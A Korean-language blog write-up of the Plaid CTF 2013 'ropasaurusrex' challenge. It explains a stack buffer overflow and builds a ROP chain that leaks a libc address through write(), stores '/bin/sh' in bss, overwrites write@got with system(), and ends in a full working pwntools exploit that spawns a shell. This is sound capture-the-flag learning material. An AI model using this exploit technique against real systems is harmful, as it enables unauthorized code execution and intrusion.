ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Plaid CTF 2013 ropasaurusrex write-up
    CTF Write-Up 2018. 3. 6. 06:57


    Plaid CTF 2013 ropasaurusrex 라는 문제를 풀어봤다.


    ropasaurusrex


    먼저 정적분석을 위해 IDA로 열어본다.



    먼저 main()를 살펴보면 어떤 함수를 호출하고 write()를 호출하여 win\n 이라는 문자열을 출력해주는 것을 볼 수 있다.


    어떤 함수에 들어가 보면



    바로 취약점을 찾을 수 있는데,

    이는 char buf 가 bp-88 즉, 136 byte의 공간을 할당 받았지만, 바로 밑 read()에서 256 byte를 입력받게 되어있기 때문에

    buffer overflow 취약점에 해당된다.


    여기까지 정적분석을 마쳤으니 동적분석을 해보자.


    먼저 실행을 해보면 예상처럼 입력을 받고, win이라는 문자열을 출력해준다.



    그리고 memory 보호기법을 확인 해보면



    NX bit 만 걸려있었다. 이는 쉘코드를 이용한 공격은 불가능하다는것을 의미한다.


    나는 이 바이너리의 이름이 rop공룡이므로 ROP를 제대로 공부해보기 위해 ASLR을 켜고 풀이를 진행했다.


    [ASLR check]



    이제 본격적인 ROP공격을 위해 시나리오를 작성해보자.


    [ROP 공격 시나리오]

    1. write() 와 read()를 이용한다.

    2. write@plt 와 got, read@plt, got의 주소를 구해준다.

    3. /bin/sh\00 을 넣어줄 bss의 주소와 system()의 실제 주소를 구하기 위해 offset을 구한다.

    4. 함수를 연속적으로 호출하기 위해 pppr gadget을 찾는다. ( read(), write()의 인자는 3개이기 때문에 pop pop pop ret )

    5. 앞서 구한것들을 이용하여 페이로드를 작성한다.


    먼저 write()의 plt 와 read() 의 plt 를 구해보자.



    objdump 로 plt를 확인할 수 있는데, gdb에서 디스어셈을 할 수 없어서 이런 방법으로 구해줬다.


    똑같은 방법으로 read()의 plt 또한 구해준다.



    이렇게 구한 plt는 사실 IDA에 다 나와있다.



    방법은 여러 가지다.


    이제 write() 의 got 와 read() 의 got를 구해보자.


    각 함수의 got는 앞서 구한 plt를 이용하여 gdb에서 구했다.



    먼저 start 라는 명령어로 임의로 bp를 걸고 실행을 하였고, 위는 wirte() 의 got를 구한 모습이다.



    같은 방법으로 read()의 got도 구해준다.


    이렇게해서 read() 와 write()의 got&plt 는 다 구해줬다.


    또 system()의 offset을 구해보면



    read()가 더 높은 주소를 갖고있기 때문에 read_addr - system_addr 하여 system()의 offset을 구할 수 있었다.

    이는 추후 payload를 작성할때 read()의 주소를 받아와 read()의 주소 + system_offset을 하기 위한 과정이다.


    이제 /bin/sh\00을 넣어줄 bss영역의 주소와 함수를 연속적으로 호출하며 인자를 정리해줄 gadget을 구하면 된다.


    먼저 bss영역부터 구해보자.



    objdump -h 옵션을 주면서 한줄 간략하게 bss 영역의 주소가 0x0849628임을 확인하였고,


    마지막으로 pppr gadget을 구하기 위해 objdump -d [binary] | grep -B4 "ret" 을 하여 보면



    :

    :



    0x80484b6 부분 부터 pop pop pop ret 을 하는 gadget을 찾을 수 있다.


    이제 이를 이용하여 payload를 작성해 보았다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    from pwn import *
     
    # input -> read() / output -> write()    
     
    '''
    bss addr : 0x08049628
    system() offset : 0x99a10
    read plt : 0x0804832c
    read got : 0x804961c
    write plt : 0804830c
    write got : 0x8049614
    pppr : 0x80484b6
    '''
     
    = process('./ropasaurusrex')
     
    # prepare to exploit : materials
    read_plt = 0x0804832c
    read_got = 0x804961c
    write_plt = 0x0804830c
    write_got = 0x8049614
    pppr = 0x80484b6
    system_offset = 0x99a10
    bss = 0x08049628
     
    # bof : input "A" before return address
    payload = "A"*140
     
    # read got leak
    payload += p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(read_got)
    payload += p32(4)
     
    # input /bin/sh\00 into bss
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(bss)
    payload += p32(8)
     
    # got overwrite ( write() -> system() )
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(write_got)
    payload += p32(4)
     
    # actual call function ( system(/bin/sh\00) )
    payload += p32(write_plt)
    payload += 'A'*4
    payload += p32(bss)
     
    p.send(payload)
     
    # receive read_addr to know system_addr
    read_addr = u32(p.recv()[-4:])
     
    # actual system() address
    system_addr = read_addr - system_offset
     
    # /bin/sh\00 -> bss , system_addr <=> write@got
    p.send('/bin/sh\00')
    p.send(p32(system_addr))
     
    # continue shell
    p.interactive()
    cs


    [shell]





    반응형
Designed by Tistory.